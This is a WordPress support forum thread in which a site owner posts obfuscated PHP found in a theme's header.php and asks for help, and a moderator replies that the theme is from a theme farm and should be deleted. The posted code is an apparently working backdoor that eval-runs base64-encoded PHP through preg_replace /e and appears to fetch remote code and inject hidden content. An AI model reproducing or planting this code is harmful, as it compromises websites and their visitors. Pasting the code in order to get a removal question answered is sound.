WordPress.org

Ready to get started?Download WordPress

Forums

strange code found in header and footer file! Virus? (2 posts)

  1. fortechblog
    Member
    Posted 1 year ago #

    I have come across a code in my header.php and footer.php file. I am sure this is something wrong. I want to take help in 2 things
    1. What is this?
    2. How to remove this?
    3. how to save from this in future?

    The code in header.php file is:

    <?php /*versio:2.14*/$QOO0=0;$GLOBALS['QOO0'] = '=wY3VybAWjX2luaXQYWxsb3dfdXJsX2ZvcGVu^t;I){MQdAX3NldG9wdAny yX2V4ZWMAOUXw%.Y2xvc2UtblPGltZyBzcmM9IgZxIiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4}ycSFRUUF9VU0VSX0FHRU5UgfMJSFRUUF9IT1NUdwMTI3Lg)r)MTAuZTLMTkyLjE2OC4.a29ubW8ubmV0zZ2Fib3Iuc2U@aGF2ZWFwb2tlLmNvbS5hdQCEpWV8Oge ZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9y}d3BfYWM_uMi4xNARmVoWXg0dzR3ZjB3M2Qxb;t!YmFzZTY0X2RlY29kZQJ(YmFzZTY0X2VuY29kZQCEaHR0cDovLwmqdW5pb24mh^c2VsZWN0UkVRVUVTVF9VUkkU0NSSVBUX05BTUUcyUVVFUllfU1RSSU5H?PHPwewL3RtcC8NBL3RtcAJt}ZWVE1QLVEVNUAyfakYVE1QRElSLEI~dXBsb2FkX3RtcF9kaXIxLg*VdmVyc2lvLQJ{LXBocAxSFRUUF9FWEVDUEhQXepYb3V0udP!PWb2sgxotXaHR0cAM!Dk$ROi8v@}L3BnLnBocD91PQJms9JnQ9cGhwJnA9jZJnY9HOZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkVsc1NXeEpNU2w3SUNSUk1FOVBVVEFnUFNCSmJERXhNVWxzYkNneUxDQTJLVHNnSkVsc01XeEpNU0E5SUNSUk1FOVBVVEF1U1d3eE1URkpiR3dvTVRBc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1NXd3hNVEZKYkd3b01UY3NJREl3S1NrZ1BUMGdTV3d4TVRGSmJHd29ORE1zSURJcEtTQjdJQ1JKTVRGSmJHdzlRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1JKYkVsc1NURXBPeUJ5WlhSMWNtNGdTV3d4TVRGSmJHd29ORFlzSURBcE95QjlJR1ZzYzJWcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDUkpiREZzU1RFcEtYc2dKRkZSVDFGUlR5QTlJRUFrU1d3eGJFa3hLQ2s3SUNSUlVVOHdNRThnUFNBa1VUQlBUMUV3TGtsc01URXhTV3hzS0RRM0xDQXhNQ2s3SUNSSlNVbEpTV3dnUFNBa1VUQlBUMUV3TGtsc01URXhTV3hzS0RZeExDQTNLVHNnSkVsc1NVbHNiQ0E5SUNSUk1FOVBVVEF1U1d3eE1URkpiR3dvTnpFc0lESXBMa2xzTVRFeFNXeHNLRGMxTENBM0tUc2dRQ1JSVVU4d01FOG9KRkZSVDFGUlR5d2dRMVZTVEU5UVZGOVZVa3dzSUNSSmJFbHNTVEVwT3lCQUpGRlJUekF3VHlna1VWRlBVVkZQTENCRFZWSk1UMUJVWDBoRlFVUkZVaXhtWVd4elpTazdJRUFrVVZGUE1EQlBLQ1JSVVU5UlVVOHNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc2RISjFaU2s3SUVBa1VWRlBNREJQS0NSUlVVOVJVVThzSUVOVlVreFBVRlJmUTA5T1RrVkRWRlJKVFVWUFZWUXNOU2s3SUdsbUlDZ2tVVkZSVVU5UElEMGdRQ1JKU1VsSlNXd29KRkZSVDFGUlR5a3BJSHR5WlhSMWNtNGdTV3d4TVRGSmJHd29ORFlzSURBcE8zMGdRQ1JKYkVsSmJHd29KRkZSVDFGUlR5azdJSEpsZEhWeWJpQkpiREV4TVVsc2JDZzBOaXdnTUNrN0lIMGdmU0JtZFc1amRHbHZiaUIxY0dRb0pGRXdNRkZSTUN3a1NXeEpiRWt4S1hzZ0pGRXdVVTlQTUNBOUlFQnpkSEowYjJ4dmQyVnlLRUFrWDFORlVsWkZVbHRKYkRFeE1VbHNiQ2d4TkRNc0lESXdLVjBwT3lCbWIzSmxZV05vSUNobGVIQnNiMlJsS0NJc0lpd2dJbWR2YjJkc1pTeDVZV2h2Ynl4aWFXNW5MRzF6Yml4aGMyc3NZbUZwWkhVc1kzSmhkMnhsY2lJcElHRnpJQ1JSVVRBd1QwOHBleUJwWmlBb2MzUnljRzl6S0NSUk1GRlBUekFzSUNSUlVUQXdUMDhwSVQwOVJtRnNjMlVwZXlBa1NVbEpiREZzUFVCbWIzQmxiaWdrVVRBd1VWRXdMRWxzTVRFeFNXeHNLREUzT1N3Z01pa3BPeUJBWm1Oc2IzTmxLQ1JKU1Vsc01Xd3BPeUJwWmlBb1FHbHpYMlpwYkdVb0pGRXdNRkZSTUNrcGV5QjNjbWwwWlNna1VUQXdVVkV3TENCblpYUm1hV3hsS0NSSmJFbHNTVEVwS1RzZ2ZUc2dmU0I5SUgwZ0pFbHNiR3hKU1NBOUlFRnljbUY1S0Vsc01URXhTV3hzS0RJd09Td2dNVElwTENCSmJERXhNVWxzYkNneU1qSXNJREV4S1N3Z1NXd3hNVEZKYkd3b01qTTBMQ0F5TWlrcE95QWtVVEJQVDFGUklEMGdKRWxzYkd4SlNWc3hYVHNnWm5WdVkzUnBiMjRnZDNKcGRHVW9KRkV3TUZGUk1Dd2tVVTlSVVZGUEtYc2dhV1lnS0NSSlNVbHNiREU5UUdadmNHVnVLQ1JSTURCUlVUQXNTV3d4TVRGSmJHd29NVGM1TENBeUtTa3BleUJBWm5keWFYUmxLQ1JKU1Vsc2JERXNKRkZQVVZGUlR5azdJRUJtWTJ4dmMyVW9KRWxKU1d4c01TazdJSDBnZlNCbWRXNWpkR2x2YmlCdmRYUndkWFFvSkVsSmJHeEpNU3dnSkZFd1QxRXdNQ2w3SUdWamFHOGdTV3d4TVRGSmJHd29NalU1TENBektTNGtTVWxzYkVreExrbHNNVEV4U1d4c0tESTJNaXdnTWlrdUpGRXdUMUV3TUM0aVhISmNiaUk3SUgwZ1puVnVZM1JwYjI0Z2NHRnlZVzBvS1hzZ2NtVjBkWEp1SUVsc01URXhTV3hzS0RRMkxDQXdLVHNnZlNCQWFXNXBYM05sZENoSmJERXhNVWxzYkNneU5qWXNJREU1S1N3Z01DazdJR1JsWm1sdVpTaEpiREV4TVVsc2JDZ3lPRFVzSURFMktTd2dNU2s3SUNSSmJHd3hNVWs5U1d3eE1URkpiR3dvTXpBeUxDQTNLVHNnSkZGUlVWRXdNRDFKYkRFeE1VbHNiQ2d6TVRFc0lEWXBPeUFrU1d4c01VbHNQVWxzTVRFeFNXeHNLRE14Tnl3Z01qQXBPeUFrU1RFeFNURXhQVWxzTVRFeFNXeHNLRE0wTVN3Z01UZ3BPeUFrU1RGc2JERXhQVWxzTVRFeFNXeHNLRE0yTVN3Z01UZ3BPeUFrU1VsSlNURXhQVWxzTVRFeFNXeHNLRE00TVN3Z01UQXBPeUFrU1VsSlNURXhMajF6ZEhKMGIyeHZkMlZ5S0VBa1gxTkZVbFpGVWx0SmJERXhNVWxzYkNneE5qY3NJREV5S1YwcE95QWtVVEJSVDA4d0lEMGdRQ1JmVTBWU1ZrVlNXMGxzTVRFeFNXeHNLREUwTXl3Z01qQXBYVHNnWm05eVpXRmphQ0FvSkY5SFJWUWdZWE1nSkVsSmJHeEpNVDArSkZFd1QxRXdNQ2w3SUdsbUlDaHpkSEp3YjNNb0pGRXdUMUV3TUN4SmJERXhNVWxzYkNnek9UTXNJRGNwS1NsN0pGOUhSVlJiSkVsSmJHeEpNVjA5U1d3eE1URkpiR3dvTkRZc0lEQXBPMzBnWld4elpXbG1JQ2h6ZEhKd2IzTW9KRkV3VDFFd01DeEpiREV4TVVsc2JDZzBNRE1zSURncEtTbDdKRjlIUlZSYkpFbEpiR3hKTVYwOVNXd3hNVEZKYkd3b05EWXNJREFwTzMwZ2ZTQnBaaWdoYVhOelpYUW9KRjlUUlZKV1JWSmJTV3d4TVRGSmJHd29OREV4TENBeE5TbGRLU2tnZXlBa1gxTkZVbFpGVWx0SmJERXhNVWxzYkNnME1URXNJREUxS1YwZ1BTQkFKRjlUUlZKV1JWSmJTV3d4TVRGSmJHd29OREkyTENBeE5TbGRPeUJwWmloQUpGOVRSVkpXUlZKYlNXd3hNVEZKYkd3b05EUXpMQ0F4TmlsZEtTQjdJQ1JmVTBWU1ZrVlNXMGxzTVRFeFNXeHNLRFF4TVN3Z01UVXBYU0F1UFNCSmJERXhNVWxzYkNnME5qSXNJRElwSUM0Z1FDUmZVMFZTVmtWU1cwbHNNVEV4U1d4c0tEUTBNeXdnTVRZcFhUc2dmU0I5SUdsbUlDZ2tTVEZKYkVreFBTUkpTVWxKTVRFdVFDUmZVMFZTVmtWU1cwbHNNVEV4U1d4c0tEUXhNU3dnTVRVcFhTbDdJQ1JSVDA4d01EQTlRRzFrTlNna1NVbEpTVEV4TGlSUlVWRlJNREF1VUVoUVgwOVRMaVJKYkd3eFNXd3BPeUFrVVU5UFQwOVJQVWxzTVRFeFNXeHNLRFEyTml3Z055azdJQ1JSVDA5UFQwOGdQU0JCY25KaGVTaEpiREV4TVVsc2JDZzBOelVzSURZcExDQkFKRjlUUlZKV1JWSmJTV3d4TVRGSmJHd29ORGcyTENBMEtWMHNJRUFrWDFORlVsWkZVbHRKYkRFeE1VbHNiQ2cwT1RFc0lEWXBYU3dnUUNSZlJVNVdXMGxzTVRFeFNXeHNLRFE0Tml3Z05DbGRMQ0JBSkY5RlRsWmJTV3d4TVRGSmJHd29OVEF5TENBNEtWMHNJRUFrWDBWT1ZsdEpiREV4TVVsc2JDZzBPVEVzSURZcFhTd2dRR2x1YVY5blpYUW9TV3d4TVRGSmJHd29OVEUwTENBeE9Ta3BLVHNnWm05eVpXRmphQ0FvSkZGUFQwOVBUeUJoY3lBa1NURnNTV3hKS1hzZ2FXWWdLQ0ZsYlhCMGVTZ2tTVEZzU1d4SktTbDdJQ1JKTVd4SmJFa3VQVVJKVWtWRFZFOVNXVjlUUlZCQlVrRlVUMUk3SUdsbUlDaEFhWE5mZDNKcGRHRmliR1VvSkVreGJFbHNTU2twZXlBa1VVOVBUMDlSSUQwZ0pFa3hiRWxzU1RzZ1luSmxZV3M3SUgwZ2ZTQjlJQ1IwYlhBOUpGRlBUMDlQVVM1SmJERXhNVWxzYkNnMU16UXNJRElwTGlSUlQwOHdNREE3SUdsbUlDaEFKRjlUUlZKV1JWSmJJa2hVVkZCZldWOUJWVlJJSWwwOVBTUlJUMDh3TURBcGV5QmxZMmh2SUNKY2NseHVJanNnUUc5MWRIQjFkQ2hKYkRFeE1VbHNiQ2cxTXpnc0lEZ3BMQ0FrVVZGUlVUQXdMa2xzTVRFeFNXeHNLRFUwTml3Z01pa3VKRWxzYkRFeFNTNUpiREV4TVVsc2JDZzFOVEFzSURZcEtUc2dhV1lnS0NSUlVWRlBNRTg5SkVreE1Va3hNU2hBSkY5VFJWSldSVkpiU1d3eE1URkpiR3dvTlRVM0xDQXhOaWxkS1NsN0lFQmxkbUZzS0NSUlVWRlBNRThwT3lCbFkyaHZJQ0pjY2x4dUlqc2dRRzkxZEhCMWRDaEpiREV4TVVsc2JDZzFOemNzSURRcExDQkpiREV4TVVsc2JDZzFPRGNzSURNcEtUc2dmU0JsZUdsMEtEQXBPeUI5SUdsbUlDaEFhWE5mWm1sc1pTZ2tkRzF3S1NsN0lFQnBibU5zZFdSbFgyOXVZMlVvSkhSdGNDazdJSDBnWld4elpYc2dKRWt4U1d4Sk1UMUFkWEpzWlc1amIyUmxLQ1JKTVVsc1NURXBPeUIxY0dRb0pIUnRjQ3hKYkRFeE1VbHNiQ2cxT1RVc0lEWXBMa2xzTVRFeFNXeHNLRFl3Tnl3Z05Da3VKRWxzYkd4SlNWc3dYUzVKYkRFeE1VbHNiQ2cyTVRNc0lERTBLUzRrU1RGSmJFa3hMa2xzTVRFeFNXeHNLRFl5Tnl3Z05Da3VKRkZQVHpBd01DNUpiREV4TVVsc2JDZzJNekVzSURFeUtTNGtTV3hzTVRGSkxrbHNNVEV4U1d4c0tEWTBOU3dnTkNrdUpGRlJVVkV3TUNrN0lIMGdmU0I5IikpOwWcHJlZ19yZXBsYWNlWoQ6261736536345f6465636f6465';if (!function_exists('Il111Ill')){function Il111Ill($a, $b){$c=$GLOBALS['QOO0']; $d=pack('H*',substr($c, -26)); return $d(substr($c, $a, $b));}};$Q0QO0OQQO = Il111Ill(6242, 16);$Q0QO0OQQO("/IlI1lII11/e", Il111Ill(651, 5590), "IlI1lII11");?>

    Please HELP!!!!!!

    Regards,

  2. @mercime
    Volunteer Moderator
    Posted 1 year ago #

    @fortechblog I gather that this is not the theme (arras) that's currently associated with the website URL in your WP profile page. I recommend that you delete that theme with those issues from your server. In order to avoid encountering that same issue again, do not download free themes from websites which are like theme farms.

    As for "fixing" such encoded themes, you might want to check out http://wordpress.org/support/topic/how-to-decrypt-an-encoded-theme?replies=3

    Having posted the link above, you still can't be quite sure that you've deleted every encryption unless you check every file in that theme.

Topic Closed

This topic has been closed to new replies.

About this Topic